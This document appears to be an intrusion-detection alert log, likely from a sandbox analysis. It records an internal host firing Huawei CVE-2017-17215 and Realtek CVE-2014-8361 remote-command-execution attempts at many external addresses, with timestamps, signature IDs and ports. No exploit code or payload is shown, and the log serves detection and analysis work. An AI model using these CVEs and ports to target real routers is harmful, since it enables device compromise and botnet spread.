Source Port:	48332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.24.162.140

Timestamp:	07/20/24-23:01:20.157619
SID:	2829579
Source Port:	41878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.102.241.51

Timestamp:	07/20/24-23:01:42.854322
SID:	2027339
Source Port:	46292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.159.36.252

Timestamp:	07/20/24-23:01:48.216693
SID:	2831300
Source Port:	60934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.32.103.4

Timestamp:	07/20/24-23:01:00.633295
SID:	2835222
Source Port:	37926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.124.7.215

Timestamp:	07/20/24-23:02:53.715694
SID:	2025132
Source Port:	33080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.122.119.125

Timestamp:	07/20/24-23:01:14.013039
SID:	2829579
Source Port:	46716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 19.191.190.54

Timestamp:	07/20/24-23:01:52.904266
SID:	2025132
Source Port:	35818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.9.90.86

Timestamp:	07/20/24-23:01:51.086033
SID:	2831300
Source Port:	59968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.174.229.249

Timestamp:	07/20/24-23:01:44.209629
SID:	2027339
Source Port:	55768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.99.82.194

Timestamp:	07/20/24-23:01:08.560530
SID:	2831300
Source Port:	43976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.142.6.246

Timestamp:	07/20/24-23:01:03.975418
SID:	2835222
Source Port:	41700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.126.215.99

Timestamp:	07/20/24-23:01:07.016889
SID:	2835222
Source Port:	40534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 201.73.178.106

Timestamp:	07/20/24-23:01:47.856443
SID:	2831300
Source Port:	44526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.144.22

Timestamp:	07/20/24-23:01:06.988055
SID:	2835222
Source Port:	51074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.152.150

Timestamp:	07/20/24-23:01:21.952782
SID:	2829579
Source Port:	55492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.212.169.191

Timestamp:	07/20/24-23:01:43.622289
SID:	2027339
Source Port:	42376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.85.208.126

Timestamp:	07/20/24-23:01:44.520254
SID:	2027339
Source Port:	59858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.253.92.60

Timestamp:	07/20/24-23:01:43.141970
SID:	2025132
Source Port:	56970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.243.31.167

Timestamp:	07/20/24-23:01:46.340763
SID:	2025132
Source Port:	40722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.184.40.220

Timestamp:	07/20/24-23:01:08.607816
SID:	2831300
Source Port:	33276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.170.107.7

Timestamp:	07/20/24-23:01:41.467111
SID:	2025132
Source Port:	55928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.216.180.24

Timestamp:	07/20/24-23:01:42.033190
SID:	2027339
Source Port:	48642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.240.112.154

Timestamp:	07/20/24-23:01:47.248064
SID:	2027339
Source Port:	51126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.150.189.204

Timestamp:	07/20/24-23:01:57.757934
SID:	2025132
Source Port:	47594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.196.233.159

Timestamp:	07/20/24-23:01:41.392527
SID:	2027339
Source Port:	56686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 98.147.36.143

Timestamp:	07/20/24-23:01:46.893328
SID:	2831300
Source Port:	47168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.38.97.128

Timestamp:	07/20/24-23:01:56.270914
SID:	2025132
Source Port:	54396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.179.102.199

Timestamp:	07/20/24-23:01:04.187171
SID:	2025132
Source Port:	59650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.184.171

Timestamp:	07/20/24-23:00:57.221646
SID:	2835222
Source Port:	57502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.88.172.221

Timestamp:	07/20/24-23:01:11.816521
SID:	2835222
Source Port:	52566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.68.146.233

Timestamp:	07/20/24-23:01:50.257796
SID:	2027339
Source Port:	39230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.127.30.131

Timestamp:	07/20/24-23:01:56.828807
SID:	2831300
Source Port:	46608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 181.43.61.4

Timestamp:	07/20/24-23:01:12.807585
SID:	2831300
Source Port:	42662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 199.196.42.92

Timestamp:	07/20/24-23:01:14.100332
SID:	2835222
Source Port:	46206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.161.8.187

Timestamp:	07/20/24-23:01:25.288927
SID:	2025132
Source Port:	51686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.191.130.65

Timestamp:	07/20/24-23:01:55.428221
SID:	2025132
Source Port:	55450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.125.123.117

Timestamp:	07/20/24-23:01:31.329969
SID:	2027339
Source Port:	59718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.107.44.177

Timestamp:	07/20/24-23:01:43.260197
SID:	2025132
Source Port:	42514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.81.234.224

Timestamp:	07/20/24-23:01:34.048825
SID:	2835222
Source Port:	56284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.25.147.2

Timestamp:	07/20/24-23:01:53.199976
SID:	2027339
Source Port:	48278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 146.167.250.116

Timestamp:	07/20/24-23:01:43.260197
SID:	2025132
Source Port:	45464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.158.29.84

Timestamp:	07/20/24-23:01:02.066908
SID:	2829579
Source Port:	45804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.249.102.196

Timestamp:	07/20/24-23:01:42.945747
SID:	2025132
Source Port:	44964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.229.84.234

Timestamp:	07/20/24-23:01:00.634292
SID:	2829579
Source Port:	51864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.9.32.210

Timestamp:	07/20/24-23:01:41.374418
SID:	2025132
Source Port:	58308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.252.90.201

Timestamp:	07/20/24-23:00:59.163619
SID:	2829579
Source Port:	43154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.181.137.93

Timestamp:	07/20/24-23:01:44.602081
SID:	2025132
Source Port:	52140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.68.37.27

Timestamp:	07/20/24-23:01:42.812448
SID:	2025132
Source Port:	52854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.28.183.134

Timestamp:	07/20/24-23:01:08.582150
SID:	2027339
Source Port:	60208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.150.124.219

Timestamp:	07/20/24-23:01:43.938688
SID:	2025132
Source Port:	44104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 31.110.77.22

Timestamp:	07/20/24-23:02:13.277683
SID:	2831300
Source Port:	52292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 195.184.165.232

Timestamp:	07/20/24-23:01:08.634900
SID:	2831300
Source Port:	54028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.165.99.108

Timestamp:	07/20/24-23:02:00.512136
SID:	2027339
Source Port:	59352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.120.192.128

Timestamp:	07/20/24-23:02:00.552327
SID:	2027339
Source Port:	56838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.51.135.205

Timestamp:	07/20/24-23:01:47.410893
SID:	2027339
Source Port:	47218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.143.101.231

Timestamp:	07/20/24-23:01:42.069870
SID:	2027339
Source Port:	33706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.27.210.57

Timestamp:	07/20/24-23:01:53.262556
SID:	2027339
Source Port:	39514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 71.112.242.82

Timestamp:	07/20/24-23:01:02.047411
SID:	2829579
Source Port:	45312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.170.166.3

Timestamp:	07/20/24-23:01:46.490827
SID:	2831300
Source Port:	51232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.69.136.147

Timestamp:	07/20/24-23:01:51.130270
SID:	2025132
Source Port:	51168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.63.197.170

Timestamp:	07/20/24-23:01:00.638418
SID:	2829579
Source Port:	40104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 117.219.119.200

Timestamp:	07/20/24-23:01:02.059312
SID:	2829579
Source Port:	54822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.132.243.55

Timestamp:	07/20/24-23:01:00.633642
SID:	2835222
Source Port:	35680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.244.29.112

Timestamp:	07/20/24-23:01:43.946379
SID:	2027339
Source Port:	46328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 146.240.47.167

Timestamp:	07/20/24-23:01:32.028836
SID:	2835222
Source Port:	48510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.81.177.106

Timestamp:	07/20/24-23:01:06.990535
SID:	2835222
Source Port:	45656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.29.108.54

Timestamp:	07/20/24-23:01:02.059312
SID:	2835222
Source Port:	50708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.91.253.130

Timestamp:	07/20/24-23:01:40.294677
SID:	2829579
Source Port:	48012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.98.234.97

Timestamp:	07/20/24-23:01:46.423677
SID:	2027339
Source Port:	58000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.131.141.174

Timestamp:	07/20/24-23:01:24.732773
SID:	2025132
Source Port:	53080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.241.164

Timestamp:	07/20/24-23:01:24.889163
SID:	2835222
Source Port:	55552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.51.209.65

Timestamp:	07/20/24-23:01:44.881853
SID:	2025132
Source Port:	41344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.176.127.107

Timestamp:	07/20/24-23:01:03.219817
SID:	2025132
Source Port:	34482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 20.160.208.40

Timestamp:	07/20/24-23:01:27.666100
SID:	2835222
Source Port:	56836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.2.152.124

Timestamp:	07/20/24-23:01:44.295391
SID:	2027339
Source Port:	48558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.63.115.173

Timestamp:	07/20/24-23:01:01.219232
SID:	2025132
Source Port:	58748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.211.247.167

Timestamp:	07/20/24-23:01:11.630769
SID:	2829579
Source Port:	57592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.154.180.14

Timestamp:	07/20/24-23:01:07.066373
SID:	2835222
Source Port:	37724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.18.22.34

Timestamp:	07/20/24-23:01:43.007032
SID:	2831300
Source Port:	60640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.186.207.187

Timestamp:	07/20/24-23:01:48.356835
SID:	2027339
Source Port:	34734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.44.241.190

Timestamp:	07/20/24-23:01:20.144672
SID:	2829579
Source Port:	45890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.252.100.49

Timestamp:	07/20/24-23:01:07.033766
SID:	2829579
Source Port:	60624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.212.186

Timestamp:	07/20/24-23:01:20.140632
SID:	2829579
Source Port:	43374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.135.155.164

Timestamp:	07/20/24-23:01:45.063335
SID:	2027339
Source Port:	51140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.144.192.144

Timestamp:	07/20/24-23:01:08.582150
SID:	2027339
Source Port:	50930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.116.9.186

Timestamp:	07/20/24-23:01:42.072139
SID:	2831300
Source Port:	56536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.134.62.33

Timestamp:	07/20/24-23:01:45.878385
SID:	2027339
Source Port:	50708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.254.78.153

Timestamp:	07/20/24-23:01:45.574617
SID:	2027339
Source Port:	45580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.0.161.120

Timestamp:	07/20/24-23:01:59.707284
SID:	2027339
Source Port:	55918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.37.38.42

Timestamp:	07/20/24-23:01:42.786028
SID:	2027339
Source Port:	38260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.31.121.159

Timestamp:	07/20/24-23:01:46.556921
SID:	2831300
Source Port:	50918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.83.21.166

Timestamp:	07/20/24-23:01:47.808678
SID:	2025132
Source Port:	51954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.45.218.64

Timestamp:	07/20/24-23:01:51.358348
SID:	2027339
Source Port:	57654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 165.8.237.202

Timestamp:	07/20/24-23:01:11.816521
SID:	2835222
Source Port:	33148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.178.228.43

Timestamp:	07/20/24-23:01:42.944341
SID:	2831300
Source Port:	51422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.208.25.112

Timestamp:	07/20/24-23:01:43.160906
SID:	2027339
Source Port:	34986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.125.46.208

Timestamp:	07/20/24-23:01:50.038268
SID:	2025132
Source Port:	51568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.180.52.133

Timestamp:	07/20/24-23:01:41.443693
SID:	2027339
Source Port:	48548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.207.187.133

Timestamp:	07/20/24-23:01:02.140869
SID:	2025132
Source Port:	59542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

